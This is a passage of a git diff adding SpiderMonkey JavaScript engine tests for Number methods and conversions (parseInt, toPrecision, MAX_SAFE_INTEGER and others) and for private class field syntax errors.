+assertEq(descriptor.enumerable, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/20.1.2.6-MAX_SAFE_INTEGER.js b/js/src/tests/non262/Number/20.1.2.6-MAX_SAFE_INTEGER.js
new file mode 100644
index 0000000000..e3a2ddff1f
--- /dev/null
+++ b/js/src/tests/non262/Number/20.1.2.6-MAX_SAFE_INTEGER.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 885798;
+var summary = "ES6 (draft April 2014) 20.1.2.6 Number.MAX_SAFE_INTEGER";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Test value
+assertEq(Number.MAX_SAFE_INTEGER, Math.pow(2, 53) - 1);
+
+//Test property attributes
+var descriptor = Object.getOwnPropertyDescriptor(Number, 'MAX_SAFE_INTEGER');
+
+assertEq(descriptor.writable, false);
+assertEq(descriptor.configurable, false);
+assertEq(descriptor.enumerable, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/20.1.3.2-toExponential.js b/js/src/tests/non262/Number/20.1.3.2-toExponential.js
new file mode 100644
index 0000000000..f87c750df1
--- /dev/null
+++ b/js/src/tests/non262/Number/20.1.3.2-toExponential.js
@@ -0,0 +1,47 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 818617;
+var summary = "ECMAScript 2017 Draft ECMA-262 Section 20.1.3.2: Number.prototype.toExponential";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// With NaN, fractionDigits out of range.
+assertEq(Number.prototype.toExponential.call(NaN, 555), 'NaN');
+
+// With NaN fractionDigits in range.
+assertEq(Number.prototype.toExponential.call(NaN, 5), 'NaN');
+
+// With Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toExponential.call(Infinity, 555), 'Infinity');
+
+// With Infinity, fractionDigits in range.
+assertEq(Number.prototype.toExponential.call(Infinity, 5), 'Infinity');
+
+// With -Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toExponential.call(-Infinity, 555), '-Infinity');
+
+// With -Infinity, fractionDigits in range.
+assertEq(Number.prototype.toExponential.call(-Infinity, 5), '-Infinity');
+
+// With NaN, function assigning a value.
+let x = 10;
+assertEq(Number.prototype.toExponential.call(NaN, { valueOf() { x = 20; return 1; } }), 'NaN');
+assertEq(x, 20);
+
+// With NaN, function throwing an exception.
+assertThrows(() => Number.prototype.toExponential.call(NaN, { valueOf() { throw "hello"; } }));
+
+// Not a number throws TypeError
+assertThrowsInstanceOf(() => Number.prototype.toExponential.call("Hello"), TypeError);
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
+
diff --git a/js/src/tests/non262/Number/20.1.3.2-toPrecision.js b/js/src/tests/non262/Number/20.1.3.2-toPrecision.js
new file mode 100644
index 0000000000..5c98560445
--- /dev/null
+++ b/js/src/tests/non262/Number/20.1.3.2-toPrecision.js
@@ -0,0 +1,47 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 818617;
+var summary = "ECMAScript 2017 Draft ECMA-262 Section 20.1.3.5: Number.prototype.toPrecision";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// With NaN, fractionDigits out of range.
+assertEq(Number.prototype.toPrecision.call(NaN, 555), 'NaN');
+
+// With NaN, fractionDigits in range.
+assertEq(Number.prototype.toPrecision.call(NaN, 5), 'NaN');
+
+// With Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toPrecision.call(Infinity, 555), 'Infinity');
+
+// With Infinity, fractionDigits in range.
+assertEq(Number.prototype.toPrecision.call(Infinity, 5), 'Infinity');
+
+// With -Infinity, fractionDigits out of range.
+assertEq(Number.prototype.toPrecision.call(-Infinity, 555), '-Infinity');
+
+// With -Infinity, fractionDigits in range.
+assertEq(Number.prototype.toPrecision.call(-Infinity, 5), '-Infinity');
+
+// With NaN, function assigning a value.
+let x = 10;
+assertEq(Number.prototype.toPrecision.call(NaN, { valueOf() { x = 20; return 1; } }), 'NaN');
+assertEq(x, 20);
+
+// With NaN, function throwing an exception.
+assertThrows(() => Number.prototype.toPrecision.call(NaN, { valueOf() { throw "hello"; } }));
+
+// Not a number throws TypeError
+assertThrowsInstanceOf(() => Number.prototype.toPrecision.call("Hello"), TypeError);
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
+
diff --git a/js/src/tests/non262/Number/20.1.3.3-toFixed.js b/js/src/tests/non262/Number/20.1.3.3-toFixed.js
new file mode 100644
index 0000000000..28b57ddaa2
--- /dev/null
+++ b/js/src/tests/non262/Number/20.1.3.3-toFixed.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+assertEq(Number.prototype.toFixed.call(-Infinity), "-Infinity");
+assertEq(Number.prototype.toFixed.call(Infinity), "Infinity");
+assertEq(Number.prototype.toFixed.call(NaN), "NaN");
+
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call(-Infinity, 555), RangeError);
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call(Infinity, 555), RangeError);
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call(NaN, 555), RangeError);
+
+assertThrowsInstanceOf(() => Number.prototype.toFixed.call("Hello"), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/ToNumber.js b/js/src/tests/non262/Number/ToNumber.js
new file mode 100644
index 0000000000..5716c8a000
--- /dev/null
+++ b/js/src/tests/non262/Number/ToNumber.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+assertEq(Number("0b11"), 3);
+assertEq(Number("0B11"), 3);
+assertEq(Number(" 0b11 "), 3);
+assertEq(Number("0b12"), NaN);
+assertEq(Number("-0b11"), NaN);
+assertEq(+"0b11", 3);
+
+assertEq(Number("0o66"), 54);
+assertEq(Number("0O66"), 54);
+assertEq(Number(" 0o66 "), 54);
+assertEq(Number("0o88"), NaN);
+assertEq(Number("-0o66"), NaN);
+assertEq(+"0o66", 54);
+
+if(typeof getSelfHostedValue === "function"){
+ assertEq(getSelfHostedValue("ToNumber")("0b11"), 3);
+ assertEq(getSelfHostedValue("ToNumber")("0o66"), 54);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/browser.js b/js/src/tests/non262/Number/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Number/browser.js
diff --git a/js/src/tests/non262/Number/conversion-invalid-precision.js b/js/src/tests/non262/Number/conversion-invalid-precision.js
new file mode 100644
index 0000000000..76c3a94d0a
--- /dev/null
+++ b/js/src/tests/non262/Number/conversion-invalid-precision.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 795745;
+var summary =
+ "Number.prototype.to* should throw a RangeError when passed a bad precision";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test(method, prec)
+{
+ try
+ {
+ Number.prototype[method].call(0, prec);
+ throw "should have thrown";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof RangeError, true,
+ "expected RangeError for " + method + " with precision " + prec +
+ ", got " + e);
+ }
+}
+
+test("toExponential", -32);
+test("toFixed", -32);
+test("toPrecision", -32);
+
+test("toExponential", 9999999);
+test("toFixed", 9999999);
+test("toPrecision", 9999999);
+
+test("toPrecision", 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Number/defaultvalue.js b/js/src/tests/non262/Number/defaultvalue.js
new file mode 100644
index 0000000000..15bf021629
--- /dev/null
+++ b/js/src/tests/non262/Number/defaultvalue.js
@@ -0,0 +1,170 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 645464;
+var summary =
+ "[[DefaultValue]] behavior wrong for Number with overridden valueOf/toString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+
+// equality
+
+var n = new Number();
+assertEq(n == 0, true);
+
+var n2 = new Number();
+n2.valueOf = function() { return 17; };
+assertEq(n2 == 17, true);
+
+var n3 = new Number();
+n3.toString = function() { return 42; };
+assertEq(n3 == 0, true);
+
+function testEquality()
+{
+ var n = new Number();
+ assertEq(n == 0, true);
+
+ var n2 = new Number();
+ n2.valueOf = function() { return 17; };
+ assertEq(n2 == 17, true);
+
+ var n3 = new Number();
+ n3.toString = function() { return 42; };
+ assertEq(n3 == 0, true);
+}
+testEquality();
+
+
+// addition of Number to number
+
+var n = new Number();
+assertEq(n + 5, 5);
+
+var n2 = new Number();
+n2.toString = function() { return 9; };
+assertEq(n2 + 3, 3);
+
+var n3 = new Number();
+n3.valueOf = function() { return 17; };
+assertEq(n3 + 5, 22);
+
+function testNumberAddition()
+{
+ var n = new Number();
+ assertEq(n + 5, 5);
+
+ var n2 = new Number();
+ n2.toString = function() { return 9; };
+ assertEq(n2 + 3, 3);
+
+ var n3 = new Number();
+ n3.valueOf = function() { return 17; };
+ assertEq(n3 + 5, 22);
+}
+testNumberAddition();
+
+
+// addition of Number to Number
+
+var n = new Number();
+assertEq(n + n, 0);
+
+var n2 = new Number();
+n2.toString = function() { return 5; };
+assertEq(n2 + n2, 0);
+
+var n3 = new Number();
+n3.valueOf = function() { return 8.5; };
+assertEq(n3 + n3, 17);
+
+function testNonNumberAddition()
+{
+ var n = new Number();
+ assertEq(n + n, 0);
+
+ var n2 = new Number();
+ n2.toString = function() { return 5; };
+ assertEq(n2 + n2, 0);
+
+ var n3 = new Number();
+ n3.valueOf = function() { return 8.5; };
+ assertEq(n3 + n3, 17);
+}
+testNonNumberAddition();
+
+
+// Number as bracketed property name
+
+var obj = { 0: 17, 8: 42, 9: 8675309 };
+
+var n = new Number();
+assertEq(obj[n], 17);
+
+var n2 = new Number();
+n2.valueOf = function() { return 8; }
+assertEq(obj[n2], 17);
+
+var n3 = new Number();
+n3.toString = function() { return 9; };
+assertEq(obj[n3], 8675309);
+
+function testPropertyNameToNumber()
+{
+ var obj = { 0: 17, 8: 42, 9: 8675309 };
+
+ var n = new Number();
+ assertEq(obj[n], 17);
+
+ var n2 = new Number();
+ n2.valueOf = function() { return 8; }
+ assertEq(obj[n2], 17);
+
+ var n3 = new Number();
+ n3.toString = function() { return 9; };
+ assertEq(obj[n3], 8675309);
+}
+testPropertyNameToNumber();
+
+
+// Number as property name with |in| operator
+
+var n = new Number();
+assertEq(n in { 0: 5 }, true);
+
+var n2 = new Number();
+n2.toString = function() { return "baz"; };
+assertEq(n2 in { baz: 42 }, true);
+
+var n3 = new Number();
+n3.valueOf = function() { return "quux"; };
+assertEq(n3 in { 0: 17 }, true);
+
+function testInOperatorName()
+{
+ var n = new Number();
+ assertEq(n in { 0: 5 }, true);
+
+ var n2 = new Number();
+ n2.toString = function() { return "baz"; };
+ assertEq(n2 in { baz: 42 }, true);
+
+ var n3 = new Number();
+ n3.valueOf = function() { return "quux"; };
+ assertEq(n3 in { 0: 17 }, true);
+}
+testInOperatorName();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/isSafeInteger-01.js b/js/src/tests/non262/Number/isSafeInteger-01.js
new file mode 100644
index 0000000000..d1a11cfe37
--- /dev/null
+++ b/js/src/tests/non262/Number/isSafeInteger-01.js
@@ -0,0 +1,40 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1003764;
+var summary = "ES6 (draft Draft May 22, 2014) ES6 20.1.2.5 Number.isSafeInteger(number)";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Number.isSafeInteger.length, 1);
+
+assertEq(Number.isSafeInteger({}), false);
+assertEq(Number.isSafeInteger(NaN), false);
+assertEq(Number.isSafeInteger(+Infinity), false);
+assertEq(Number.isSafeInteger(-Infinity), false);
+
+assertEq(Number.isSafeInteger(-1), true);
+assertEq(Number.isSafeInteger(+0), true);
+assertEq(Number.isSafeInteger(-0), true);
+assertEq(Number.isSafeInteger(1), true);
+
+assertEq(Number.isSafeInteger(3.2), false);
+
+assertEq(Number.isSafeInteger(Math.pow(2, 53) - 2), true);
+assertEq(Number.isSafeInteger(Math.pow(2, 53) - 1), true);
+assertEq(Number.isSafeInteger(Math.pow(2, 53)), false);
+assertEq(Number.isSafeInteger(Math.pow(2, 53) + 1), false);
+assertEq(Number.isSafeInteger(Math.pow(2, 53) + 2), false);
+
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) - 2), false);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) - 1), false);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53)), false);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) + 1), true);
+assertEq(Number.isSafeInteger(-Math.pow(2, 53) + 2), true);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/numericSeparator.js b/js/src/tests/non262/Number/numericSeparator.js
new file mode 100644
index 0000000000..46ebabc7ea
--- /dev/null
+++ b/js/src/tests/non262/Number/numericSeparator.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertThrowsInstanceOf(function() { eval('let a = 100_00_;'); }, SyntaxError);
+assertThrowsInstanceOf(() => eval("let b = 10__;"), SyntaxError);
+assertThrowsInstanceOf(() => eval("let b = 1._2;"), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/Number/parseFloat-01.js b/js/src/tests/non262/Number/parseFloat-01.js
new file mode 100644
index 0000000000..8c57e4e129
--- /dev/null
+++ b/js/src/tests/non262/Number/parseFloat-01.js
@@ -0,0 +1,27 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 886949;
+var summary = "ES6 (draft May 2013) 15.7.3.10 Number.parseFloat(string)";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Number.parseFloat("Infinity"), Infinity);
+assertEq(Number.parseFloat("+Infinity"), Infinity);
+assertEq(Number.parseFloat("-Infinity"), -Infinity);
+
+assertEq(Number.parseFloat("inf"), NaN);
+assertEq(Number.parseFloat("Inf"), NaN);
+assertEq(Number.parseFloat("infinity"), NaN);
+
+assertEq(Number.parseFloat("nan"), NaN);
+assertEq(Number.parseFloat("NaN"), NaN);
+
+/* Number.parseFloat should be the same function object as global parseFloat. */
+assertEq(Number.parseFloat, parseFloat);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/parseInt-01.js b/js/src/tests/non262/Number/parseInt-01.js
new file mode 100644
index 0000000000..20bda18726
--- /dev/null
+++ b/js/src/tests/non262/Number/parseInt-01.js
@@ -0,0 +1,172 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 886949;
+var summary = "ES6 (draft May 2013) 15.7.3.9 Number.parseInt(string, radix)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var str, radix;
+var upvar;
+
+/* 1. Let inputString be ToString(string). */
+
+assertEq(Number.parseInt({ toString: function() { return "17" } }, 10), 17);
+
+upvar = 0;
+str = { get toString() { upvar++; return function() { upvar++; return "12345"; } } };
+assertEq(Number.parseInt(str, 10), 12345);
+assertEq(upvar, 2);
+
+
+/*
+ * 2. Let S be a newly created substring of inputString consisting of the first
+ * character that is not a StrWhiteSpaceChar and all characters following
+ * that character. (In other words, remove leading white space.)
+ */
+
+var ws =
+ ["\t", "\v", "\f", " ", "\xA0", "\uFEFF",
+ "\u2004", "\u3000", // a few Unicode whitespaces
+ "\r", "\n", "\u2028", "\u2029"];
+
+str = "8675309";
+for (var i = 0, sz = ws.length; i < sz; i++)
+{
+ assertEq(Number.parseInt(ws[i] + str, 10), 8675309);
+ for (var j = 0, sz = ws.length; j < sz; j++)
+ {
+ assertEq(Number.parseInt(ws[i] + ws[j] + str, 10), 8675309,
+ ws[i].charCodeAt(0).toString(16) + ", " +
+ ws[j].charCodeAt(0).toString(16));
+ }
+}
+
+
+/*
+ * 3. Let sign be 1.
+ * 4. If S is not empty and the first character of S is a minus sign -, let
+ * sign be −1.
+ */
+str = "5552368";
+assertEq(Number.parseInt("-" + str, 10), -Number.parseInt(str, 10));
+assertEq(Number.parseInt(" -" + str, 10), -Number.parseInt(str, 10));
+assertEq(Number.parseInt("-", 10), NaN);
+assertEq(Number.parseInt("", 10), NaN);
+assertEq(Number.parseInt("-0", 10), -0);
+
+
+/*
+ * 5. If S is not empty and the first character of S is a plus sign + or a
+ * minus sign -, then remove the first character from S.
+ */
+assertEq(Number.parseInt("+12345", 10), 12345);
+assertEq(Number.parseInt(" +12345", 10), 12345);
+assertEq(Number.parseInt("-12345", 10), -12345);
+assertEq(Number.parseInt(" -12345", 10), -12345);
+
+
+/*
+ * 6. Let R = ToInt32(radix).
+ */
+
+upvar = "";
+str =
+ { toString: function() { if (!upvar) upvar = "string"; return "42"; } };
+radix =
+ { toString: function() { if (!upvar) upvar = "radix"; return "10"; } };
+
+assertEq(Number.parseInt(str, radix), 42);
+assertEq(upvar, "string");
+
+assertEq(Number.parseInt("123", null), 123);
+assertEq(Number.parseInt("123", undefined), 123);
+assertEq(Number.parseInt("123", NaN), 123);
+assertEq(Number.parseInt("123", -0), 123);
+assertEq(Number.parseInt("10", 72057594037927950), 16);
+assertEq(Number.parseInt("10", -4294967292), 4);
+assertEq(Number.parseInt("0x10", 1e308), 16);
+assertEq(Number.parseInt("10", 1e308), 10);
+assertEq(Number.parseInt("10", { valueOf: function() { return 16; } }), 16);
+
+
+/*
+ * 7. Let stripPrefix be true.
+ * 8. If R ≠ 0, then
+ * a. If R < 2 or R > 36, then return NaN.
+ * b. If R ≠ 16, let stripPrefix be false.
+ * 9. Else, R = 0
+ * a. Let R = 10.
+ * 10. If stripPrefix is true, then
+ * a. If the length of S is at least 2 and the first two characters of S
+ * are either “0x” or “0X”, then remove the first two characters from S and
+ * let R = 16.
+ */
+var vs = ["1", "51", "917", "2343", "99963"];
+for (var i = 0, sz = vs.length; i < sz; i++)
+ assertEq(Number.parseInt(vs[i], 0), Number.parseInt(vs[i], 10), "bad " + vs[i]);
+
+assertEq(Number.parseInt("0x10"), 16);
+assertEq(Number.parseInt("0x10", 0), 16);
+assertEq(Number.parseInt("0x10", 16), 16);
+assertEq(Number.parseInt("0x10", 8), 0);
+assertEq(Number.parseInt("-0x10", 16), -16);
+
+assertEq(Number.parseInt("5", 1), NaN);
+assertEq(Number.parseInt("5", 37), NaN);
+assertEq(Number.parseInt("5", { valueOf: function() { return -1; } }), NaN);
+
+
+/*
+ * 11. If S contains any character that is not a radix-R digit, then let Z be
+ * the substring of S consisting of all characters before the first such
+ * character; otherwise, let Z be S.
+ * 12. If Z is empty, return NaN.
+ */
+assertEq(Number.parseInt(""), NaN);
+assertEq(Number.parseInt("ohai"), NaN);
+assertEq(Number.parseInt("0xohai"), NaN);
+assertEq(Number.parseInt("-ohai"), NaN);
+assertEq(Number.parseInt("+ohai"), NaN);
+assertEq(Number.parseInt(" ohai"), NaN);
+
+assertEq(Number.parseInt("0xaohai"), 10);
+assertEq(Number.parseInt("hohai", 18), 17);
+
+
+/*
+ * 13. Let mathInt be the mathematical integer value that is represented by Z
+ * in radix-R notation, using the letters A-Z and a-z for digits with
+ * values 10 through 35. (However, if R is 10 and Z contains more than 20
+ * significant digits, every significant digit after the 20th may be
+ * replaced by a 0 digit, at the option of the implementation; and if R is
+ * not 2, 4, 8, 10, 16, or 32, then mathInt may be an implementation-
+ * dependent approximation to the mathematical integer value that is
+ * represented by Z in radix-R notation.)
+ * 14. Let number be the Number value for mathInt.
+ * 15. Return sign × number.
+ */
+assertEq(Number.parseInt("ohai", 36), 1142154);
+assertEq(Number.parseInt("0ohai", 36), 1142154);
+assertEq(Number.parseInt("00ohai", 36), 1142154);
+assertEq(Number.parseInt("A", 16), 10);
+assertEq(Number.parseInt("0A", 16), 10);
+assertEq(Number.parseInt("00A", 16), 10);
+assertEq(Number.parseInt("A", 17), 10);
+assertEq(Number.parseInt("0A", 17), 10);
+assertEq(Number.parseInt("00A", 17), 10);
+
+/* Number.parseInt should be the same function object as global parseInt. */
+assertEq(Number.parseInt, parseInt);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/parseInt-default-to-decimal.js b/js/src/tests/non262/Number/parseInt-default-to-decimal.js
new file mode 100644
index 0000000000..7049ef661b
--- /dev/null
+++ b/js/src/tests/non262/Number/parseInt-default-to-decimal.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 886949;
+var summary = "ES6 (draft May 2013) 15.7.3.9 Number.parseInt(string, radix)." +
+ " Verify that Number.parseInt defaults to decimal.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(Number.parseInt("08"), 8);
+assertEq(Number.parseInt("09"), 9);
+assertEq(Number.parseInt("014"), 14);
+
+function strictParseInt(s) { "use strict"; return Number.parseInt(s); }
+
+assertEq(strictParseInt("08"), 8);
+assertEq(strictParseInt("09"), 9);
+assertEq(strictParseInt("014"), 14);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/regress-442242-01.js b/js/src/tests/non262/Number/regress-442242-01.js
new file mode 100644
index 0000000000..a02f9511a0
--- /dev/null
+++ b/js/src/tests/non262/Number/regress-442242-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 442242;
+var summary = 'Do not assert: INT_FITS_IN_JSVAL(i)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var i = 28800000;
+ -i;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Number/shell.js b/js/src/tests/non262/Number/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Number/shell.js
diff --git a/js/src/tests/non262/Number/toString-radix-handling.js b/js/src/tests/non262/Number/toString-radix-handling.js
new file mode 100644
index 0000000000..dd91675a27
--- /dev/null
+++ b/js/src/tests/non262/Number/toString-radix-handling.js
@@ -0,0 +1,37 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 647385;
+var summary =
+ "Number.prototype.toString should use ToInteger on the radix and should " +
+ "throw a RangeError if the radix is bad";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test(r)
+{
+ try
+ {
+ 5..toString(r);
+ throw "should have thrown";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof RangeError, true, "expected a RangeError, got " + e);
+ }
+}
+test(Math.pow(2, 32) + 10);
+test(55);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/tonumber-string-hex.js b/js/src/tests/non262/Number/tonumber-string-hex.js
new file mode 100644
index 0000000000..ed1e9b9dd4
--- /dev/null
+++ b/js/src/tests/non262/Number/tonumber-string-hex.js
@@ -0,0 +1,38 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 872853;
+var summary = 'Various tests of ToNumber(string), particularly +"0x" being NaN';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(+"0x", NaN);
+assertEq(+"\t0x", NaN);
+assertEq(+"0x\n", NaN);
+assertEq(+"\n0x\t", NaN);
+assertEq(+"0x0", 0);
+assertEq(+"0xa", 10);
+assertEq(+"0xff", 255);
+assertEq(+"-0x", NaN);
+assertEq(+"-0xa", NaN);
+assertEq(+"-0xff", NaN);
+assertEq(+"0xInfinity", NaN);
+assertEq(+"+Infinity", Infinity);
+assertEq(+"-Infinity", -Infinity);
+assertEq(+"\t+Infinity", Infinity);
+assertEq(+"-Infinity\n", -Infinity);
+assertEq(+"+ Infinity", NaN);
+assertEq(+"- Infinity", NaN);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/PrivateName/browser.js b/js/src/tests/non262/PrivateName/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/browser.js
diff --git a/js/src/tests/non262/PrivateName/error-locations.js b/js/src/tests/non262/PrivateName/error-locations.js
new file mode 100644
index 0000000000..fb54faaefa
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/error-locations.js
@@ -0,0 +1,35 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-options
+
+function assertLineAndColumn(str, line, column) {
+ try {
+ eval(str);
+ throw 'didn\'t syntaxerror, bad.'
+ } catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ assertEq(e.lineNumber, line);
+ assertEq(e.columnNumber, column);
+ }
+}
+
+assertLineAndColumn(`class A { g() { return this.#x; }}`, 1, 28);
+// Make sure we're reporting the first error, if there are multiple, in class
+// exit context;
+assertLineAndColumn(
+ `class A { g() { return this.#x; } y() { return this.#z + this.#y; } }`,
+ 1, 28);
+assertLineAndColumn(`this.#x`, 1, 5);
+// Make sure we're reporting the first error, if there are multiple, in
+// non-class context;
+assertLineAndColumn(`this.#x; this.#y; this.#z`, 1, 5);
+
+assertLineAndColumn(
+ `class A {
+g() { return this.#x; }}`,
+ 2, 18);
+assertLineAndColumn(
+ `class A {
+
+g() { return this.#x; } y() { return this.#y; }}`,
+ 3, 18);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/error-outside-class.js b/js/src/tests/non262/PrivateName/error-outside-class.js
new file mode 100644
index 0000000000..8ddb380872
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/error-outside-class.js
@@ -0,0 +1,13 @@
+
+// Can't reference a private field without an object
+assertThrowsInstanceOf(() => eval('#x'), SyntaxError);
+
+// Can't reference a private field without an enclosing class
+assertThrowsInstanceOf(() => eval('this.#x'), SyntaxError);
+
+// Can't reference a private field in a random function outside a class context
+assertThrowsInstanceOf(
+ () => eval('function foo() { return this.#x'), SyntaxError);
+
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/illegal-delete.js b/js/src/tests/non262/PrivateName/illegal-delete.js
new file mode 100644
index 0000000000..84d527a378
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/illegal-delete.js
@@ -0,0 +1,94 @@
+// |reftest| shell-option(--enable-private-fields) skip-if(!xulRuntime.shell) -- requires shell-options
+
+class A {
+ #x = {a: 1};
+ b = null;
+ es(s) {
+ eval(s);
+ }
+}
+
+var a = new A;
+a.b = new A;
+
+assertThrowsInstanceOf(() => a.es('delete this.#x'), SyntaxError);
+assertThrowsInstanceOf(() => a.es('delete (this.#x)'), SyntaxError);
+assertThrowsInstanceOf(() => a.es('delete this?.#x'), SyntaxError);
+assertThrowsInstanceOf(() => a.es('delete this?.b.#x'), SyntaxError);
+// Should be OK
+a.es('delete (0, this.#x.a)')
+a.es('delete this?.b.#x.a')
+
+
+// Make sure the above works in a different context, with emphasis on
+// lazy/syntax parsing.
+function eval_and_report(str) {
+ var classTest = `
+ class B {
+ #x = {a: 1};
+ b = null;
+ test() {
+ ${str};
+ }
+ }
+ var b = new B;
+ b.b = new B;
+ b.test();
+ `;
+
+ var str = `
+ function f(run) {
+ if (run) {
+ ${classTest}
+ }
+ }
+ f(run)`;
+
+
+ var throws = [];
+ // Evalutate in a new global; has the advantage that it makes successes
+ // idempotent.
+ var g = newGlobal();
+ g.run = false;
+
+ try {
+ // The idea is that this is a full parse
+ evaluate(classTest, {global: g});
+ } catch (e) {
+ throws.push(e);
+ }
+
+ try {
+ // The idea is this is a lazy parse; however, fields currently
